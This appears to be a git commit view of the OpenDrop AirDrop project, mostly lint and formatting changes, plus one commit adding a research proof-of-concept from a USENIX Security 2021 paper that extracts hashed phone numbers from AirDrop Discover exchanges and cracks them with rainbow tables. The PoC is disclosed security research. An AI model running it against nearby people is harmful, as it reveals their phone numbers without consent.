Author SHA1 Message Date
Milan Stute 81ddc07996 Add PoC for AirDrop's phone number leak 2021-05-05 13:38:56 +02:00
Milan Stute bc7813bf91 Bump version 2020-12-03 16:01:18 +01:00
Milan Stute 8a9bd1f4d5 Ignore LGTM false positive (again) 2020-12-02 16:33:51 +01:00
Milan Stute ba550bb468 Don't busy wait 2020-12-02 16:33:51 +01:00
Milan Stute 17db506f04 Check output of openssl 2020-12-02 16:18:57 +01:00
Milan Stute 6960a97ab8 Don't redefine built-in types 2020-12-02 16:18:57 +01:00
Milan Stute fe99dab664 Unused variables 2020-12-02 16:18:57 +01:00
Milan Stute d4f3df70e7 Don't use logger.warn 2020-12-02 16:18:57 +01:00
Milan Stute d96fa1d7ef Use f-strings everywhere else 2020-12-02 16:18:57 +01:00
Milan Stute bf7cea785c Use f-strings in logging statements 2020-12-02 16:18:57 +01:00
Milan Stute 7db266f089 Rename variable 2020-12-02 16:18:57 +01:00
Milan Stute db34b3e349 Silence pylint false positives 2020-12-02 16:18:57 +01:00
Milan Stute 368a8afc8c Remove unused imports 2020-12-02 16:18:57 +01:00
Milan Stute adb658d04d Add pylint to CI pipeline 2020-12-02 16:18:57 +01:00
Milan Stute 91e204f8a2 Add isort to CI pipeline 2020-12-02 16:18:57 +01:00
15 changed files with 253 additions and 96 deletions
+8
View File
@@ -22,6 +22,10 @@ jobs:
- name: Install package
run: |
pip install -e .
- name: Check format with isort
run: |
pip install isort
isort -c opendrop/**.py
- name: Check format with black
run: |
pip install black
@@ -30,6 +34,10 @@ jobs:
run: |
pip install flake8
flake8 . --count --show-source --statistics
- name: Lint with pylint
run: |
pip install pylint
pylint --rcfile=setup.cfg opendrop
- name: Test with pytest
run: |
pip install pytest
+3
View File
@@ -0,0 +1,3 @@
[submodule "rt_phone_numbers"]
path = rt_phone_numbers
url = https://github.com/contact-discovery/rt_phone_numbers.git
+9 -2
View File
@@ -1,9 +1,9 @@
.PHONY: ci checkformat lint test autoformat
.PHONY: ci checkformat isort lint pylint test autoformat
VENV=venv
PYTHON=$(VENV)/bin/python3
ci: checkformat lint test
ci: isort checkformat lint pylint test
$(VENV): $(VENV)/bin/activate
@@ -23,8 +23,15 @@ checkformat: $(VENV)
lint: $(VENV)
$(PYTHON) -m flake8 . --count --show-source --statistics --exclude $(VENV)
pylint: $(VENV)
$(PYTHON) -m pylint --rcfile=setup.cfg opendrop
isort: $(VENV)
$(PYTHON) -m isort -c opendrop/**.py
test: $(VENV)
$(PYTHON) -m pytest
autoformat: $(VENV)
$(PYTHON) -m isort opendrop/**.py
$(PYTHON) -m black . --exclude $(VENV)
+80
View File
@@ -0,0 +1,80 @@
# PoC: AirDrop Phone Number Leak
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
## Installation
Run the following instructions on a Mac (tested with macOS 11.2.3).
1. Checkout the repository.
```bash
git clone https://github.com/seemoo-lab/opendrop.git
cd opendrop
git checkout poc-phonenumber-leak
git submodule update --init
```
2. Install Python dependencies.
```bash
pip3 install -r requirements.txt
```
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
```bash
brew install libomp
cd rt_phone_numbers
make -f Makefile.macOS
cd ..
```
## Usage
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
```bash
python3 -m opendrop receive
```
An example output would look like this:
```
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
Starting HTTPS server
Nearby phone number: +49<...>
```
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
Exploiting this vulnerability requires the victim to have the attacker in their address book.
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
This attack does not require any interaction on part of the victim. Simply run:
```bash
python3 -m opendrop find
```
An example output would look like this:
```
Looking for receivers. Press Ctrl+C to stop ...
Nearby phone number: +49<...>
Found index 0 ID a019b536c38b name John Doe's iPhone
```
+2 -2
View File
@@ -21,11 +21,11 @@ import logging
import os
import platform
__version__ = "0.12.2"
__version__ = "0.12.3"
if platform.system() == "Darwin":
dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "") # save old path
archive_path = "/usr/local/opt/libarchive/lib"
os.environ["DYLD_LIBRARY_PATH"] = "{}:{}".format(dyld_path, archive_path)
os.environ["DYLD_LIBRARY_PATH"] = f"{dyld_path}:{archive_path}"
logger = logging.getLogger(__name__)
+9 -19
View File
@@ -117,15 +117,12 @@ class AirDropCli:
self.browser = AirDropBrowser(self.config)
self.browser.start(callback_add=self._found_receiver)
try:
while True:
pass
threading.Event().wait()
except KeyboardInterrupt:
pass
finally:
self.browser.stop()
logger.debug(
"Save discovery results to {}".format(self.config.discovery_report)
)
logger.debug(f"Save discovery results to {self.config.discovery_report}")
with open(self.config.discovery_report, "w") as f:
json.dump(self.discover, f)
@@ -137,16 +134,12 @@ class AirDropCli:
try:
address = info.parsed_addresses()[0] # there should only be one address
except IndexError:
logger.warn("Ignoring receiver with missing address {}".format(info))
logger.warning(f"Ignoring receiver with missing address {info}")
return
id = info.name.split(".")[0]
identifier = info.name.split(".")[0]
hostname = info.server
port = int(info.port)
logger.debug(
"AirDrop service found: {}, {}:{}, ID {}".format(
hostname, address, port, id
)
)
logger.debug(f"AirDrop service found: {hostname}, {address}:{port}, ID {id}")
client = AirDropClient(self.config, (address, int(port)))
try:
flags = int(info.properties[b"flags"])
@@ -168,18 +161,16 @@ class AirDropCli:
"name": receiver_name,
"address": address,
"port": port,
"id": id,
"id": identifier,
"flags": flags,
"discoverable": discoverable,
}
self.lock.acquire()
self.discover.append(node_info)
if discoverable:
logger.info(
"Found index {} ID {} name {}".format(index, id, receiver_name)
)
logger.info(f"Found index {index} ID {identifier} name {receiver_name}")
else:
logger.debug("Receiver ID {} is not discoverable".format(id))
logger.debug(f"Receiver ID {identifier} is not discoverable")
self.lock.release()
def receive(self):
@@ -210,8 +201,7 @@ class AirDropCli:
age = time.time() - os.path.getmtime(self.config.discovery_report)
if age > 60: # warn if report is older than a minute
logger.warning(
"Old discovery report (%.1f seconds), consider running 'opendrop find' again",
age,
f"Old discovery report ({age:.1f} seconds), consider running 'opendrop find' again"
)
with open(self.config.discovery_report, "r") as f:
infos = json.load(f)
+29 -23
View File
@@ -28,9 +28,9 @@ from http.client import HTTPSConnection
import fleep
import libarchive
from zeroconf import IPVersion, ServiceBrowser, Zeroconf
from .util import AirDropUtil, AbsArchiveWrite
from zeroconf import ServiceBrowser, Zeroconf, IPVersion
from .util import AbsArchiveWrite, AirDropUtil
logger = logging.getLogger(__name__)
@@ -41,14 +41,11 @@ class AirDropBrowser:
if self.ip_addr is None:
if config.interface == "awdl0":
raise RuntimeError(
"Interface {} does not have an IPv6 address. "
"Make sure that `owl` is running.".format(config.interface)
f"Interface {config.interface} does not have an IPv6 address. Make sure that `owl` is running."
)
else:
raise RuntimeError(
"Interface {} does not have an IPv6 address".format(
config.interface
)
f"Interface {config.interface} does not have an IPv6 address"
)
self.zeroconf = Zeroconf(
@@ -76,15 +73,15 @@ class AirDropBrowser:
self.browser = None
self.zeroconf.close()
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
logger.debug("Add service {}".format(name))
def add_service(self, zeroconf, service_type, name):
info = zeroconf.get_service_info(service_type, name)
logger.debug(f"Add service {name}")
if self.callback_add is not None:
self.callback_add(info)
def remove_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
logger.debug("Remove service {}".format(name))
def remove_service(self, zeroconf, service_type, name):
info = zeroconf.get_service_info(service_type, name)
logger.debug(f"Remove service {name}")
if self.callback_remove is not None:
self.callback_remove(info)
@@ -97,10 +94,10 @@ class AirDropClient:
self.http_conn = None
def send_POST(self, url, body, headers=None):
logger.debug("Send {} request".format(url))
logger.debug(f"Send {url} request")
AirDropUtil.write_debug(
self.config, body, "send_{}_request.plist".format(url.lower().strip("/"))
self.config, body, f"send_{url.lower().strip('/')}_request.plist"
)
_headers = self._get_headers()
@@ -122,15 +119,15 @@ class AirDropClient:
AirDropUtil.write_debug(
self.config,
response_bytes,
"send_{}_response.plist".format(url.lower().strip("/")),
f"send_{url.lower().strip('/')}_response.plist",
)
if http_resp.status != 200:
status = False
logger.debug("{} request failed: {}".format(url, http_resp.status))
logger.debug(f"{url} request failed: {http_resp.status}")
else:
status = True
logger.debug("{} request successful".format(url))
logger.debug(f"{url} request successful")
return status, response_bytes
def send_discover(self):
@@ -138,10 +135,17 @@ class AirDropClient:
if self.config.record_data:
discover_body["SenderRecordData"] = self.config.record_data
discover_plist_binary = plistlib.dumps(discover_body, fmt=plistlib.FMT_BINARY)
success, response_bytes = self.send_POST("/Discover", discover_plist_binary)
discover_plist_binary = plistlib.dumps(
discover_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
)
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
response = plistlib.loads(response_bytes)
# Extract and lookup phone number hashes from validation record
validation_record = response["ReceiverRecordData"]
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
AirDropUtil.lookup_phone_hashes(hashes)
# if name is returned, then receiver is discoverable
return response.get("ReceiverComputerName")
@@ -183,7 +187,9 @@ class AirDropClient:
ask_body["Files"] = [e for e in file_entries(file_path)]
ask_body["Items"] = []
ask_binary = plistlib.dumps(ask_body, fmt=plistlib.FMT_BINARY)
ask_binary = plistlib.dumps(
ask_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
)
success, _ = self.send_POST("/Ask", ask_binary)
return success
@@ -247,7 +253,7 @@ class HTTPSConnectionAWDL(HTTPSConnection):
*,
context=None,
check_hostname=None,
interface_name=None
interface_name=None,
):
if interface_name is not None:
@@ -290,7 +296,7 @@ class HTTPSConnectionAWDL(HTTPSConnection):
host, port = address
err = None
for res in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
af, socktype, proto, _, sa = res
sock = None
try:
sock = socket.socket(af, socktype, proto)
+8 -8
View File
@@ -81,9 +81,7 @@ class AirDropConfig:
self.port = server_port
if service_id is None:
service_id = "{0:0{1}x}".format(
random.randint(0, 0xFFFFFFFFFFFF), 12
) # random 6-byte string in base16
service_id = f"{random.randint(0, 0xFFFFFFFFFFFF):012x}" # random 6-byte string in base16
self.service_id = service_id
self.debug = debug
@@ -109,7 +107,7 @@ class AirDropConfig:
self.root_ca_file = resource_filename("opendrop", "certs/apple_root_ca.pem")
if not os.path.exists(self.root_ca_file):
raise FileNotFoundError(
"Need Apple root CA certificate: {}".format(self.root_ca_file)
f"Need Apple root CA certificate: {self.root_ca_file}"
)
self.key_dir = os.path.join(self.airdrop_dir, "keys")
@@ -130,7 +128,7 @@ class AirDropConfig:
logger.debug("No Apple ID Validation Record found")
def create_default_key(self):
logger.info("Create new self-signed certificate in {}".format(self.key_dir))
logger.info(f"Create new self-signed certificate in {self.key_dir}")
if not os.path.exists(self.key_dir):
os.makedirs(self.key_dir)
subprocess.run(
@@ -148,17 +146,19 @@ class AirDropConfig:
"-out",
"certificate.pem",
"-subj",
"/CN={}".format(self.computer_name),
f"/CN={self.computer_name}",
],
cwd=self.key_dir,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
check=True,
)
def get_ssl_context(self):
ctx = ssl.SSLContext(
ctx = ssl.SSLContext( # lgtm[py/insecure-protocol], TODO see https://github.com/Semmle/ql/issues/2554
ssl.PROTOCOL_TLS
) # lgtm[py/insecure-protocol], TODO see https://github.com/Semmle/ql/issues/2554
)
ctx.options |= ssl.OP_NO_TLSv1 # TLSv1.0 is insecure
ctx.load_cert_chain(self.cert_file, keyfile=self.key_file)
ctx.load_verify_locations(cafile=self.root_ca_file)
+23 -23
View File
@@ -23,14 +23,14 @@ import platform
import plistlib
import socket
import time
from http.server import HTTPServer, BaseHTTPRequestHandler
from http.server import BaseHTTPRequestHandler, HTTPServer
import libarchive
import libarchive.extract
import libarchive.read
from zeroconf import IPVersion, ServiceInfo, Zeroconf
from .util import AirDropUtil
from zeroconf import Zeroconf, ServiceInfo, IPVersion
logger = logging.getLogger(__name__)
@@ -54,14 +54,11 @@ class AirDropServer:
if self.ip_addr is None:
if self.config.interface == "awdl0":
raise RuntimeError(
"Interface {} does not have an IPv6 address. "
"Make sure that `owl` is running.".format(self.config.interface)
f"Interface {self.config.interface} does not have an IPv6 address. Make sure that `owl` is running."
)
else:
raise RuntimeError(
"Interface {} does not have an IPv6 address".format(
self.config.interface
)
f"Interface {self.config.interface} does not have an IPv6 address"
)
self.Handler = AirDropServerHandler
@@ -92,9 +89,7 @@ class AirDropServer:
def start_service(self):
logger.info(
"Announcing service: host {}, address {}, port {}".format(
self.config.host_name, self.ip_addr, self.config.port
)
f"Announcing service: host {self.config.host_name}, address {self.ip_addr}, port {self.config.port}"
)
self.zeroconf.register_service(self.service_info)
@@ -162,7 +157,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
"""
Answer get requests
"""
logger.debug("GET request at {}".format(self.path))
logger.debug(f"GET request at {self.path}")
body = "\n".encode("utf-8")
self._set_response(len(body))
self.wfile.write(body)
@@ -175,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
self.config, post_data, "receive_discover_request.plist"
)
# Extract and lookup phone number hashes from validation record
discover_request = plistlib.loads(post_data)
validation_record = discover_request["SenderRecordData"]
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
AirDropUtil.lookup_phone_hashes(hashes)
# sample media capabilities as recorded from macOS 10.13.3
media_capabilities = {
"Version": 1,
@@ -215,7 +216,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
discover_answer["ReceiverRecordData"] = self.config.record_data
discover_answer_binary = plistlib.dumps(
discover_answer, fmt=plistlib.FMT_BINARY
discover_answer, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
)
AirDropUtil.write_debug(
@@ -236,7 +237,9 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
"ReceiverModelName": self.config.computer_model,
"ReceiverComputerName": self.config.computer_name,
}
ask_resp_binary = plistlib.dumps(ask_response, fmt=plistlib.FMT_BINARY)
ask_resp_binary = plistlib.dumps(
ask_response, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
)
AirDropUtil.write_debug(
self.config, ask_resp_binary, "receive_ask_response.plist"
@@ -248,7 +251,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
def handle_upload(self):
if self.headers.get("content-type", "").lower() != "application/x-cpio":
logger.warning(
"Unsupported content-type: {}".format(self.headers.get("content-type"))
f"Unsupported content-type: {self.headers.get('content-type')}"
)
self.send_response(406) # Unprocessable Entity
self.send_header("Content-Type", "application/x-cpio")
@@ -309,9 +312,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
transferred = reader.total / 1024.0 / 1024.0
speed = transferred / (time.time() - start)
logger.info(
"File(s) received (size {:.02f} MB, speed {:.02f} MB/s)".format(
transferred, speed
)
f"File(s) received (size {transferred:.02f} MB, speed {speed:.02f} MB/s)"
)
self.send_response(200)
@@ -324,8 +325,8 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
Handle post requests
"""
logger.debug("POST request at {}".format(self.path))
logger.debug("Headers\n{}".format(self.headers))
logger.debug(f"POST request at {self.path}")
logger.debug(f"Headers\n{self.headers}")
if self.path == "/Discover":
self.handle_discover()
@@ -334,14 +335,13 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
elif self.path == "/Upload":
self.handle_upload()
else:
logger.debug("POST request at {}".format(self.path))
logger.debug(f"POST request at {self.path}")
self.send_response(400)
self.send_header("Content-Length", 0)
self.end_headers()
def log_message(self, format, *args):
# pylint: disable=redefined-builtin
logger.debug(
"{} - - [{}] {}".format(
self.client_address[0], self.log_date_time_string(), format % args
)
f"{self.client_address[0]} - - [{self.log_date_time_string()}] {format % args}"
)
+57 -18
View File
@@ -17,29 +17,29 @@ You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import base64
import datetime
import hashlib
import glob
import io
import ipaddress
import os
import plistlib
import subprocess
import ifaddr
from PIL import Image, ExifTags
from libarchive import ffi
from libarchive.entry import new_archive_entry, ArchiveEntry
from libarchive.ffi import (
from ctypescrypto import cms
from libarchive.entry import ArchiveEntry, new_archive_entry
from libarchive.ffi import ( # pylint: disable=no-name-in-module
ARCHIVE_EOF,
entry_sourcepath,
entry_clear,
read_next_header2,
entry_sourcepath,
read_disk_descend,
write_header,
read_next_header2,
write_data,
write_finish_entry,
write_get_bytes_per_block,
write_header,
)
from libarchive.write import ArchiveWrite, new_archive_read_disk
from PIL import ExifTags, Image
class AirDropUtil:
@@ -104,7 +104,7 @@ class AirDropUtil:
try:
exif = dict(
(ExifTags.TAGS[k], v)
for k, v in im._getexif().items()
for k, v in im._getexif().items() # pylint: disable=protected-access
if k in ExifTags.TAGS
)
angles = {3: 180, 6: 270, 8: 90}
@@ -116,15 +116,15 @@ class AirDropUtil:
# Big image
im.thumbnail((540, 540), Image.ANTIALIAS)
imgByteArr = io.BytesIO()
im.save(imgByteArr, format="JPEG2000")
file_icon = imgByteArr.getvalue()
img_bytes = io.BytesIO()
im.save(img_bytes, format="JPEG2000")
file_icon = img_bytes.getvalue()
# Small image
# im.thumbnail((64, 64), Image.ANTIALIAS)
# imgByteArr = io.BytesIO()
# im.save(imgByteArr, format='JPEG2000')
# small_file_icon = imgByteArr.getvalue()
# img_bytes = io.BytesIO()
# im.save(img_bytes, format='JPEG2000')
# small_file_icon = img_bytes.getvalue()
return file_icon
@@ -172,6 +172,45 @@ class AirDropUtil:
else: # assume bytes-like
file.write(data)
@staticmethod
def get_hashes_from_validation_record(validation_record):
data = cms.CMS(validation_record, format="DER").data
data = plistlib.loads(data.encode())
phone_hashes = data["ValidatedPhoneHashes"]
return phone_hashes
@staticmethod
def lookup_phone_hashes(hashes):
for hash_ in hashes:
AirDropUtil.lookup_phone_hash(hash_)
@staticmethod
def lookup_phone_hash(hash_):
rcrack_dir = os.path.join(
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
)
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
rcrack_table = ""
rcrack_tables = glob.glob(rcrack_table)
if len(rcrack_tables) == 0:
print("Could not recover hashed phone number: No rainbow tables provided.")
return
result = subprocess.run(
[rcrack_bin] + rcrack_tables + ["-h", hash_],
text=True,
cwd=rcrack_dir,
capture_output=True,
check=True,
)
for line in result.stdout.splitlines():
if not line.startswith("plaintext of"):
continue
number = line.split("is")[1].strip()
print(f"Nearby phone number: +{number}")
class AbsArchiveWrite(ArchiveWrite):
def add_abs_file(self, path, store_path):
@@ -180,7 +219,7 @@ class AbsArchiveWrite(ArchiveWrite):
"""
write_p = self._pointer
block_size = ffi.write_get_bytes_per_block(write_p)
block_size = write_get_bytes_per_block(write_p)
if block_size <= 0:
block_size = 10240 # pragma: no cover
+2
View File
@@ -1,4 +1,6 @@
black
flake8
flake8-bugbear
isort
pylint
pytest
+8
View File
@@ -0,0 +1,8 @@
Pillow
ctypescrypto
fleep
ifaddr
libarchive-c
requests
requests_toolbelt
zeroconf>=0.24.2
+1
Submodule rt_phone_numbers added at b8986d1a20
+13 -1
View File
@@ -2,4 +2,16 @@
extend-ignore = E203, E501
max-line-length = 80
max-complexity = 18
select = B9
select = B9
[isort]
multi_line_output = 3
include_trailing_comma = True
force_grid_wrap = 0
use_parentheses = True
ensure_newline_before_comments = True
line_length = 88
[pylint]
disable = C, R, W0511, W1203
max-line-length = 88
+1
View File
@@ -37,6 +37,7 @@ setup(
package_data={"opendrop": ["certs/*.pem"]},
install_requires=[
"Pillow",
"ctypescrypto",
"fleep",
"ifaddr",
"libarchive-c",